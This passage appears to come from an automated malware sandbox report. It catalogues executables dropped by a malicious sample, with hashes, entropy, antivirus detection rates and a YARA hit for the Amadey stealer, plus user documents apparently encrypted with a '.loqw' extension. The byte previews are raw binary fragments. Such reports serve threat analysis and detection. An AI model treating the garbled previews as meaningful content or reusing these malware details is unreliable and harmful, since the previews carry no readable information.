SSDEEP:	24576:DWyWZgnMyY5CG8P2HmdA9sbOIbnCwL3Uff8JWVGly83GkFb6LaX:TO1vM32HmdTOIe03gEgJ83GIp
MD5:	F6C8E898E3A967CEEFE195A7AF6180F6
SHA1:	8AC8BDE388C954AC623AD9D131654669774CDF89
SHA-256:	199F6CC43680D1C65D900730FD2201FF1C10C912237497EFC5245EDCECC1B383
SHA-512:	4455A216C8CC774A3B6003B23CA062B71BF3706871D3A51E7067C26EA3378D350817C4355D85459D4C0B81B4E68FAA9678E741244953A841A651AB28DCBDE178
Malicious:	true
Reputation:	unknown
Preview:	MZ....o....O......j{...g..i...)eS...V./'..'q62'...SH....v....vog9......M.v...==F..<N...J_..JuhcD\|. ..y.\~.F..J...n#J.e..'.5[...1.S.C......i...m..._.V.$ .O......8....l#6..$S.O....<....qx'.:/...\...c,I....(......".<]y.r.....s..".!4.F.o.D..1m._-..F1...$..YgL7.Whz..T.}ui..V.............,^.....zYI.9....kj3.i...>..uZ..U.....Pt....=.Ep...Y......q.....o.....+c#Z.co.Oc.?'.....F...v.@.z#..8...U..9..oB...GV..Lh.;......=.cw....Q.#.%.AV...nS..O.F./g.@..\8....W...K.,..Q..(4.6....?..........`.R.......d.xv.....Lm...".".qPs.........8..1pi...w...;V...lf(!....3.px.7.&.W#...b(g.....MC..y._gO..S.r.....h`PE......: O[$K.+..8...(Z.3.c...:...L!.R.w..!.\|r!...U....)..0..Ic.):.MB..nCmo....v......0..1.?0...8./W.c.......9..rLm..El.F.7a.`.{.`.,e..\|\&.9..}6e.n.._..OE........Q..ZM.k.[..Q".#....7Xi....Y.....i.'..1...1.........O.J.....B.......r)..]&..}].V.6............Y.x..gQ'..........q.?....M..=...b,..I.jxg:..w..{.,...7p ....6ie...q(h.s.L\.......UI......L.v...s

C:\Users\user\Desktop\a\build3.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	428544
Entropy (8bit):	6.494348537450964
Encrypted:	false
SSDEEP:	12288:5noAx+FnmuQhimtPURimLqevmipum+K4Y:5+FnmuGtpMLnLYY
MD5:	0099A99F5FFB3C3AE78AF0084136FAB3
SHA1:	0205A065728A9EC1133E8A372B1E3864DF776E8C
SHA-256:	919AE827FF59FCBE3DBAEA9E62855A4D27690818189F696CFB5916A88C823226
SHA-512:	5AC4F3265C7DD7D172284FB28C94F8FC6428C27853E70989F4EC4208F9897BE91720E8EEE1906D8E843AB05798F3279A12492A32E8A118F5621AC5E1BE2031B6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\Desktop\a\build3.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 78%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L.... Me..........................................@.......................................@.................................D...x....p...........................L..P...8...................,...........@............................................text............................... ..`.rdata..............................@..@.data....F... ...4..................@....rsrc........p.......:..............@..@.reloc...L.......N...<..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\a\buildz.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	769536
Entropy (8bit):	7.721433386823266
Encrypted:	false
SSDEEP:	12288:vr6rWhV+31bqTUzkYK3CSajmZJV2WjiMoSJzqostxiKH1xR41IpGZUamba:mrWg4rGqRQMTV+txiK3u1I8Ub
MD5:	F76F31DA2D90E4BE5C20DCF0F98366BD
SHA1:	095A84FEC7D7CD4AFC353F768985B37A73D0F648
SHA-256:	63D62AAF2718A094187C300DF58E3054945E8B763F1609DDC7FC45B9B81F93ED
SHA-512:	A6874F8C580E3C39DCE88309528A083F02D084B9298184940DDF569772C9A61490D172CF217E78B98DB342978C6D970519443648E68852194D0E669BA2068BFE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L.....b......................D......>............@...........................M.....0.......................................(+..x....PL.@{..............................................................@............................................text..."........................... ..`.rdata...4.......6..................@..@.data...\|.B..@.......*..............@....rsrc...@{...PL..\|...B..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\a\somzx.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	780288
Entropy (8bit):	7.52424704514677
Encrypted:	false
SSDEEP:	12288:2fAZfcahsQmcEOo7e0oLt4qm93kejEFbJi3JN//3yoCmwzXyd3FFvYpZH4EYmb:2eo7RgCUejEE7//yoCRMYkEJ
MD5:	1A01797E5FA2117626317413590140FB
SHA1:	C0A27E1F661FAD26842E6EB22D6223FC7F2D9575
SHA-256:	46CBE36431F2A4FB01B369F2278086F216FD0750D87C64E9E1800652B4218777
SHA-512:	E2C6691E11AAD243B7C3392BE66ECD86243DED1A9B2722B7C646936B01F54371A90674B47BC8B9636D85485A96CFAAD964C5C3AF310E92FB496E0CC5CB73854C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 87%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....ze..............0.................. ........@.. .......................@............@.................................J...O............................ ..........T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................~.......H........M..P...............Hs..............................................0..?........~n........~....s$.........~....o%.......&.r...pr...p(&...&.............).......0..i........s'........(......~....~....o(....~.....o)....~.....o....~....o+...&~....o,.......&.r...prA..p(&...&..............BS.......0..F........(......~....s-........s.........~....~....o/...&~....o,....~.....+..*...0..Q........(......~....s-........s.........~....~....o/...&~....o,....~....o0....o1....+..

C:\Users\user\Desktop\a\spfasiazx.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	661504
Entropy (8bit):	6.672539204188977
Encrypted:	false
SSDEEP:	6144:1keibqEvj1SKzHdAj/297pr8ySYH0ksAhmiLEvFiOx6+xqEfCyXYNgImWGzVsH87:5+HI/2gssAhmiLEvFi+0LmWGzVq8Mn
MD5:	ABA50AE31C5DF3EA0C2394C93D423AFE
SHA1:	7FDCEE9D5E4BB6AB3FE8195640EAEF4BF871E363
SHA-256:	FE98CDAACBBE31C9DEE59A926693DC719EA9F1839FF62FA6997F5FAF32A6A1AA
SHA-512:	3DD52509A6A88E5A51C96436C9295947683718AA919C13E0E77DA1814EB583A53287777EDCA4C7C3FA3E583056166A20421868AA38EAC947644428379E7A81F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....e..............0................. ...@....@.. ....................................@..................................)..O....@.......................`......h...T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H............&..............Pc............................................r...ps....}......}.....(.......(......0..W.........{....o.....r...p...{....s.......o......s.....s.......o....&.{....o......{.....o.......&..(.....*.0............{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ..

C:\Users\user\Desktop\a\spfasiazx.exe.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	661504
Entropy (8bit):	6.672539204188977
Encrypted:	false
SSDEEP:	6144:1keibqEvj1SKzHdAj/297pr8ySYH0ksAhmiLEvFiOx6+xqEfCyXYNgImWGzVsH87:5+HI/2gssAhmiLEvFi+0LmWGzVq8Mn
MD5:	ABA50AE31C5DF3EA0C2394C93D423AFE
SHA1:	7FDCEE9D5E4BB6AB3FE8195640EAEF4BF871E363
SHA-256:	FE98CDAACBBE31C9DEE59A926693DC719EA9F1839FF62FA6997F5FAF32A6A1AA
SHA-512:	3DD52509A6A88E5A51C96436C9295947683718AA919C13E0E77DA1814EB583A53287777EDCA4C7C3FA3E583056166A20421868AA38EAC947644428379E7A81F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....e..............0................. ...@....@.. ....................................@..................................)..O....@.......................`......h...T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H............&..............Pc............................................r...ps....}......}.....(.......(......0..W.........{....o.....r...p...{....s.......o......s.....s.......o....&.{....o......{.....o.......&..(.....*.0............{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ...r...po!...o"...o#...o$.....{.....{....o.....o....o ..

C:\Users\user\Desktop\a\voice5.13sert.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15816396
Entropy (8bit):	7.99398240003578
Encrypted:	true
SSDEEP:	393216:ajId074k3meXcGfd0aw2L2tbfRukW8eb08aF:WIdZat5FO2LODbW8egF
MD5:	B4B6BB1999D278B1EEB19783FCE5CAB4
SHA1:	4277E1450196EEA9FD7AA9FBF4C36DB130F0D74B
SHA-256:	4CA0434A2C62B0E576E391C53EDEEEB1E23EBB50E4E23419ED42995FCC8824A0
SHA-512:	A613FB963514FB7E228F650478935506FB7F8797F6D3B800639DA76343B757503891393EA319D951241F3DADF3E6DBAFA5AF3516B26E2940F0686371E87C1D60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 13%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W.../...W.../...W.../...W...+l..W...+...W...+...W...+...W.../...W...W..)W..e+...W..e+...W..Rich.W..................PE..d....+.e.........."....".....p.................@.............................@......G.....`.....................................................x.... ........... .......g...0..X...................................@...@............................................text............................... ..`.rdata...+.......,..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc........ ......................@..@.reloc..X....0......................@..B........................................................................................................................................................................................................

C:\Users\user\Desktop\a\wlanext.exe

Download File

Process:	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1020168
Entropy (8bit):	7.789589180591702
Encrypted:	false
SSDEEP:	24576:zo5K17MIBIV/JSI246SDM0BbyomEEgrlEaAFSIXch:zkWIIB6Rj24XDNJXrUSIXK
MD5:	228A21C1D3BDD03A1C3877E918913632
SHA1:	21CD5DF22A9BAA3867F982A945CDA5AD233EB82C
SHA-256:	7B69D0FB7C60CF96272495A946D4311420AA406C477D6C85A002F487BD67531D
SHA-512:	02ECC8FF5959CC37C22A02B342A9027EDBF14F4F32F5B29F4AF09C78489C12F97D3CAFD01AF81ED2417B8C7B694C7620A2A795DCC92A09C3FBB3363935F89631
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L...5.MX.................`...........2.......p....@.......................................@.................................(t.......P.. ............n..X"...........................................................p...............................text...Y^.......`.................. ..`.rdata..F....p.......d..............@..@.data................x..............@....ndata.......@...........................rsrc... ....P.......\|..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\a\wlanext.exe.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1020168
Entropy (8bit):	7.789589180591702
Encrypted:	false
SSDEEP:	24576:zo5K17MIBIV/JSI246SDM0BbyomEEgrlEaAFSIXch:zkWIIB6Rj24XDNJXrUSIXK
MD5:	228A21C1D3BDD03A1C3877E918913632
SHA1:	21CD5DF22A9BAA3867F982A945CDA5AD233EB82C
SHA-256:	7B69D0FB7C60CF96272495A946D4311420AA406C477D6C85A002F487BD67531D
SHA-512:	02ECC8FF5959CC37C22A02B342A9027EDBF14F4F32F5B29F4AF09C78489C12F97D3CAFD01AF81ED2417B8C7B694C7620A2A795DCC92A09C3FBB3363935F89631
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L...5.MX.................`...........2.......p....@.......................................@.................................(t.......P.. ............n..X"...........................................................p...............................text...Y^.......`.................. ..`.rdata..F....p.......d..............@..@.data................x..............@....ndata.......@...........................rsrc... ....P.......\|..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871938306799681
Encrypted:	false
SSDEEP:	24:dy85Af8SDDZUdRJSFzptYvqFwseKMbqciuFWWJgMKtiDbD:dy8I8SDS7JSFLYYr+qciuFtensD
MD5:	9CF2E4EC3383D03D0FBE9891F2FD1537
SHA1:	0F1CBC3D5A53AE3A03B4108603AE9DBAB09421FC
SHA-256:	16F33AC8399A82B373665CC658ED33654A984605496513DF73A4DEA7F7257474
SHA-512:	3EC9B538803785C212DD9C21DE1C545A4CA30695C4E4305B57E6CEBC7021439D8AE094984186A2A5A3C568F8F30021BAA5AF1F72ED1AC6B5D2701937E4F758C8
Malicious:	false
Reputation:	unknown
Preview:	DTBZG!..i....f..EC.`z..\|T..#.9..Nu.@+..:.!N4..??......L.u.h/.a8..8............dT}%......3.i.w..\.s.......~...iI..?.Sv$......j......qxT.P>...U..VQ..Z......,...O.+.#...Q.C...y,..~=.[,..{.`..../a6...s....LT/.Cc..YV.(P. e"...H....].jw...v....}.:..<..slG.X...EKe}$.V...`....B......5E;.Lh.2.pv...............]N...y....g..Y.X.Lt..(.7>.?...[.C.\#.{'4u0.,...e. ....`.....e..r......s3l...T.....%..Y..#..2..<....[.t...].....'..Q......:z.B..v.W/....\SN...Op.jYu...cr..9.....9c.!...m'.....e.,.X..b......,M..O..H.....EL..AwB..%g%Vm.&..)M_x}........nP.\i.u...{K0.6k..a......}[...Dz.E.oD....S}.....x.\|...gt.}.....\|8...7.,r....S.._N2`.f...^...........-.x.L.......sL..(.9...>...~......:.H...zW..S..GAL.....D.EG&.8......yQ}.......6.3\:....O#9D._, N..WQ.R.*o...&..U........>.?.....]..X..M...4v.....@...$.D.UN..5.z..+7.$.h...{..,9..i..P..j. =..{...r~..$.'}Z.......p...2.V..m.jQQ..S_MuF..p.x.f.R..........OvB.e9/..<oh=..Q..A.TN.A.k.l4..>...{.<.<............g../..\..=:.

C:\Users\user\Documents\DTBZGIOOSO\DTBZGIOOSO.docx.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871938306799681
Encrypted:	false
SSDEEP:	24:dy85Af8SDDZUdRJSFzptYvqFwseKMbqciuFWWJgMKtiDbD:dy8I8SDS7JSFLYYr+qciuFtensD
MD5:	9CF2E4EC3383D03D0FBE9891F2FD1537
SHA1:	0F1CBC3D5A53AE3A03B4108603AE9DBAB09421FC
SHA-256:	16F33AC8399A82B373665CC658ED33654A984605496513DF73A4DEA7F7257474
SHA-512:	3EC9B538803785C212DD9C21DE1C545A4CA30695C4E4305B57E6CEBC7021439D8AE094984186A2A5A3C568F8F30021BAA5AF1F72ED1AC6B5D2701937E4F758C8
Malicious:	false
Reputation:	unknown
Preview:	DTBZG!..i....f..EC.`z..\|T..#.9..Nu.@+..:.!N4..??......L.u.h/.a8..8............dT}%......3.i.w..\.s.......~...iI..?.Sv$......j......qxT.P>...U..VQ..Z......,...O.+.#...Q.C...y,..~=.[,..{.`..../a6...s....LT/.Cc..YV.(P. e"...H....].jw...v....}.:..<..slG.X...EKe}$.V...`....B......5E;.Lh.2.pv...............]N...y....g..Y.X.Lt..(.7>.?...[.C.\#.{'4u0.,...e. ....`.....e..r......s3l...T.....%..Y..#..2..<....[.t...].....'..Q......:z.B..v.W/....\SN...Op.jYu...cr..9.....9c.!...m'.....e.,.X..b......,M..O..H.....EL..AwB..%g%Vm.&..)M_x}........nP.\i.u...{K0.6k..a......}[...Dz.E.oD....S}.....x.\|...gt.}.....\|8...7.,r....S.._N2`.f...^...........-.x.L.......sL..(.9...>...~......:.H...zW..S..GAL.....D.EG&.8......yQ}.......6.3\:....O#9D._, N..WQ.R.*o...&..U........>.?.....]..X..M...4v.....@...$.D.UN..5.z..+7.$.h...{..,9..i..P..j. =..{...r~..$.'}Z.......p...2.V..m.jQQ..S_MuF..p.x.f.R..........OvB.e9/..<oh=..Q..A.TN.A.k.l4..>...{.<.<............g../..\..=:.

C:\Users\user\Documents\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851700683096205
Encrypted:	false
SSDEEP:	24:tZw5dJ9AvdWG0FWl1G4gx6A7n6q9cFGWT+YuxmyjlpIbD:DEW/W+0cFXT+fxBgD
MD5:	92C66AFAA0D7F8A6D194A7C17C0C6A99
SHA1:	07FFEFD790A7FFDD2DDD41990D5E8997A9AD0B96
SHA-256:	0DFAFEBFA9420631B57397C3230CC3144110FBD39E60B0C401B9CB5F12FB39C9
SHA-512:	150EE27276786B51599754A256BAC94BBA92D55F21276A505E927DE62FC776AF919640B20D7164CB5309586E6D5D5D9584E549A6190B8FC9FCF139C1E86239F0
Malicious:	false
Reputation:	unknown
Preview:	KATAX.cKY.6............Q2..#K.NUX=1..K..PC.i.h.l6O.pz\..B.....s$W.C....L....8..+.j.u.b.v.......F...\|..c_.Sq.]...0....\|..'`.Q. .._..d...kF...z..k.}.k.8m.f.....T..L^.........l..Ap....[1..Y.....-F,..&{..#8(n....^E........}N..ed.P.P..YC&h._..yP..........b[.=...M.l.D.3h.6..Nv....b....4..].._.`../..V.t.ZBv\|.@........7H.n..En.&..)R...7.$..\|....l...{..W.\.S...:w......C......>.U$..'.I.>......[.m.q5XL....<...m...A..&.I.."6...z..DV......'k....@...^.L.....\|..."..5...x.ri.+..9...S.&.a..3.>G....;..Fs..M...c..A.....5....a2.j.......hl`...0..~9]....n...=,..Gk....8o.L.d...62.Zt.........#...oG.y..'.IJ.DB...M.........%..../..o-.R0a6-.Lz....+......\|-.U`.p.......N_+.....7u7..[pOj...X........dV..1....................`.m.{.(....6...4Yd.."..Q..MU..........u.......2..hz.5.&..dR."l..,Q4=@p..#..c..q...p.c.}.S>}.[..P0..R.:..w....-K.GR1.`.%....8....%}.7.f..c...u...Nd39..'gx.......X.....J.....UsP.u.Y......O.e.8..p\.;....7.Y.q...t.[hN...t.....c...R...s..Z.F.l.<..

C:\Users\user\Documents\DTBZGIOOSO\KATAXZVCPS.mp3.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851700683096205
Encrypted:	false
SSDEEP:	24:tZw5dJ9AvdWG0FWl1G4gx6A7n6q9cFGWT+YuxmyjlpIbD:DEW/W+0cFXT+fxBgD
MD5:	92C66AFAA0D7F8A6D194A7C17C0C6A99
SHA1:	07FFEFD790A7FFDD2DDD41990D5E8997A9AD0B96
SHA-256:	0DFAFEBFA9420631B57397C3230CC3144110FBD39E60B0C401B9CB5F12FB39C9
SHA-512:	150EE27276786B51599754A256BAC94BBA92D55F21276A505E927DE62FC776AF919640B20D7164CB5309586E6D5D5D9584E549A6190B8FC9FCF139C1E86239F0
Malicious:	false
Reputation:	unknown
Preview:	KATAX.cKY.6............Q2..#K.NUX=1..K..PC.i.h.l6O.pz\..B.....s$W.C....L....8..+.j.u.b.v.......F...\|..c_.Sq.]...0....\|..'`.Q. .._..d...kF...z..k.}.k.8m.f.....T..L^.........l..Ap....[1..Y.....-F,..&{..#8(n....^E........}N..ed.P.P..YC&h._..yP..........b[.=...M.l.D.3h.6..Nv....b....4..].._.`../..V.t.ZBv\|.@........7H.n..En.&..)R...7.$..\|....l...{..W.\.S...:w......C......>.U$..'.I.>......[.m.q5XL....<...m...A..&.I.."6...z..DV......'k....@...^.L.....\|..."..5...x.ri.+..9...S.&.a..3.>G....;..Fs..M...c..A.....5....a2.j.......hl`...0..~9]....n...=,..Gk....8o.L.d...62.Zt.........#...oG.y..'.IJ.DB...M.........%..../..o-.R0a6-.Lz....+......\|-.U`.p.......N_+.....7u7..[pOj...X........dV..1....................`.m.{.(....6...4Yd.."..Q..MU..........u.......2..hz.5.&..dR."l..,Q4=@p..#..c..q...p.c.}.S>}.[..P0..R.:..w....-K.GR1.`.%....8....%}.7.f..c...u...Nd39..'gx.......X.....J.....UsP.u.Y......O.e.8..p\.;....7.Y.q...t.[hN...t.....c...R...s..Z.F.l.<..

C:\Users\user\Documents\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859573573476061
Encrypted:	false
SSDEEP:	24:EVVsYNss3wpfHmzRcOyWxfaRCtrt3afz/Tic3ps5pnPvzQj5k8KbD:QDN0HiWafaRCxAfz/tpUpn0doD
MD5:	F40A61EC510AD1FF459F7DF699B6F972
SHA1:	B15491EAA6E2561473F6436E303CD2EB0543B659
SHA-256:	E15FFDC6C7F9564F44F6904D6831C8C768A014418B3020832FD372A0F70216EA
SHA-512:	D63A78C5489BE183B78AE3A62BFEEB729A00AA1F4949C6ACBEC00C5958B6835F081EF18A0619266777A6A110677AF5158ADEB9FB830E122A53FBDEF2EBA8DC0D
Malicious:	false
Reputation:	unknown
Preview:	ONBQC7...;..p......-...m.<....X...&y.\|$..o3.....is......t...W.g.1U....F..E.w...m ....,E.......h%,Y..uB..5.q4K8.Io....\|......V..!....8g.r...........s.q....n....Ho>......G.z..s..\|.......x.....3...h.{.2.^..v4.j....>...d.F=.W...")...U..6X...{...J.`R....a^.l=.\|..t......!/bx.F!f....<A.l9.....u....=@@..# ...%..N..z ..A.y.rX.u....%L4LV....6U1..9CU(....E..$.5{.a>7u{Q..D..wW...O...~.Z.........i.v.../Y..=..<..9.N19zd@:...M[...C..\e'.g&..=...N....7.o8.j-....{.C.g..C....v..4.V..56..$.I7..7.>.....R.H..L..'.G._.ix.yp..~.Lo&m..a..k.T.........3Ik.)oR}JB[U.....AP..;.yD8...~.=..Xb........d?MC.<.9\|.-.F....'.k.^.~f.k,"..Bp.4....-t.B...y.G..!.b\n......k.2.a...W....a.q..M....;....,J>...}..`.$}nJ.EXA....z5o.nX...<.A...r.s.`..Lu.X....d.Qq..MZ.......\|..xc^'...Q.%C{l/P...X.v...E$.G.............%b.....n..N.Y.....:...&.-......y...%\6.z......;....1..?,...z^.S..f..t.n......5....j..M...BQ...].C.......Y.=...w............6..5.F.S.]........N.-.I6s.z0...g.Q....._

C:\Users\user\Documents\DTBZGIOOSO\ONBQCLYSPU.pdf.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859573573476061
Encrypted:	false
SSDEEP:	24:EVVsYNss3wpfHmzRcOyWxfaRCtrt3afz/Tic3ps5pnPvzQj5k8KbD:QDN0HiWafaRCxAfz/tpUpn0doD
MD5:	F40A61EC510AD1FF459F7DF699B6F972
SHA1:	B15491EAA6E2561473F6436E303CD2EB0543B659
SHA-256:	E15FFDC6C7F9564F44F6904D6831C8C768A014418B3020832FD372A0F70216EA
SHA-512:	D63A78C5489BE183B78AE3A62BFEEB729A00AA1F4949C6ACBEC00C5958B6835F081EF18A0619266777A6A110677AF5158ADEB9FB830E122A53FBDEF2EBA8DC0D
Malicious:	false
Reputation:	unknown
Preview:	ONBQC7...;..p......-...m.<....X...&y.\|$..o3.....is......t...W.g.1U....F..E.w...m ....,E.......h%,Y..uB..5.q4K8.Io....\|......V..!....8g.r...........s.q....n....Ho>......G.z..s..\|.......x.....3...h.{.2.^..v4.j....>...d.F=.W...")...U..6X...{...J.`R....a^.l=.\|..t......!/bx.F!f....<A.l9.....u....=@@..# ...%..N..z ..A.y.rX.u....%L4LV....6U1..9CU(....E..$.5{.a>7u{Q..D..wW...O...~.Z.........i.v.../Y..=..<..9.N19zd@:...M[...C..\e'.g&..=...N....7.o8.j-....{.C.g..C....v..4.V..56..$.I7..7.>.....R.H..L..'.G._.ix.yp..~.Lo&m..a..k.T.........3Ik.)oR}JB[U.....AP..;.yD8...~.=..Xb........d?MC.<.9\|.-.F....'.k.^.~f.k,"..Bp.4....-t.B...y.G..!.b\n......k.2.a...W....a.q..M....;....,J>...}..`.$}nJ.EXA....z5o.nX...<.A...r.s.`..Lu.X....d.Qq..MZ.......\|..xc^'...Q.%C{l/P...X.v...E$.G.............%b.....n..N.Y.....:...&.-......y...%\6.z......;....1..?,...z^.S..f..t.n......5....j..M...BQ...].C.......Y.=...w............6..5.F.S.]........N.-.I6s.z0...g.Q....._

C:\Users\user\Documents\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8265733549508125
Encrypted:	false
SSDEEP:	24:hUAM0BVDhajUFPBKaazVSfz7pf7yd9VHr1xyktskqMGVzRoT7+BKdpBPFMDpPmbD:hpLvDhKoIaCezdudbykttqV2+Byftmpo
MD5:	BC3D0B199041741CDE55D9A318F2AB5B
SHA1:	5516DA33F9B8FD6214958B998B774BAEEA7655DD
SHA-256:	909B143FE62E95F04DF757850127F384C9D173EBFDC955BBDAFC254892C51B0E
SHA-512:	F3CA36090626C3C29607185766EE9B319FE4EE76942FC3B290A0DAF7975521D95129934D3F366DA661301290677B3C879E827BE89D44B8A8E343A3B1A898053C
Malicious:	false
Reputation:	unknown
Preview:	UMMBDQZ..S.......~.-.....zc.}........../.....=\|..C....5.^.l^.2.#..C)..wo..V.lN.{.}Y...E KmE.n..t:.....\...,.e`.....a....xg...#.8U..rs"....i..7.......j.TA.f6s.v.-d.p.S.!.cjz-.S..X.8...F..%.{4rfp&.!=.!k..2......./...,".b..b.u.t..B......v......X........I....E.x....l....Ap.o...t.u..M-./....u.@..k.].6.Kw=.4..nb8.!...L+.=...Q.-{ox.`U....A7.2r.6.. ....;.ZL.X..Uq..;f.....z~..S.t....O..@.C.nS..nc.>....n...........K..U.. ...#....bl.....L..3...u.......^...u&..%...vX.....Q>..[..27.e.v.p..HO...............D~..Y'uag.......G..e....y.....wW.@t..I(..]....d..Ge.....X.GQ.w.s..S..l......j...Y"...r...\|...%f<J...~W....2.....>......`o.v...h^...".ic...>.R.O.-..?...r....@xsy..E..T.......Y..i.y.ot......M0.=_....x..6.7...~.d.........pNq....^.....;..,.....e..j8a.u................2.......Xc....O..u.+.f..M.H..@J.....c.9......FS......W....WB..a...y-.-'.....#.....@P....$R.,..@LU8a.C..,.7_;.W...3.l..8.%...u{.....1...:..S.,..5J.7nO^.`o.2.}Pq...%..^...QebL..9

C:\Users\user\Documents\DTBZGIOOSO\UMMBDNEQBN.png.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8265733549508125
Encrypted:	false
SSDEEP:	24:hUAM0BVDhajUFPBKaazVSfz7pf7yd9VHr1xyktskqMGVzRoT7+BKdpBPFMDpPmbD:hpLvDhKoIaCezdudbykttqV2+Byftmpo
MD5:	BC3D0B199041741CDE55D9A318F2AB5B
SHA1:	5516DA33F9B8FD6214958B998B774BAEEA7655DD
SHA-256:	909B143FE62E95F04DF757850127F384C9D173EBFDC955BBDAFC254892C51B0E
SHA-512:	F3CA36090626C3C29607185766EE9B319FE4EE76942FC3B290A0DAF7975521D95129934D3F366DA661301290677B3C879E827BE89D44B8A8E343A3B1A898053C
Malicious:	false
Reputation:	unknown
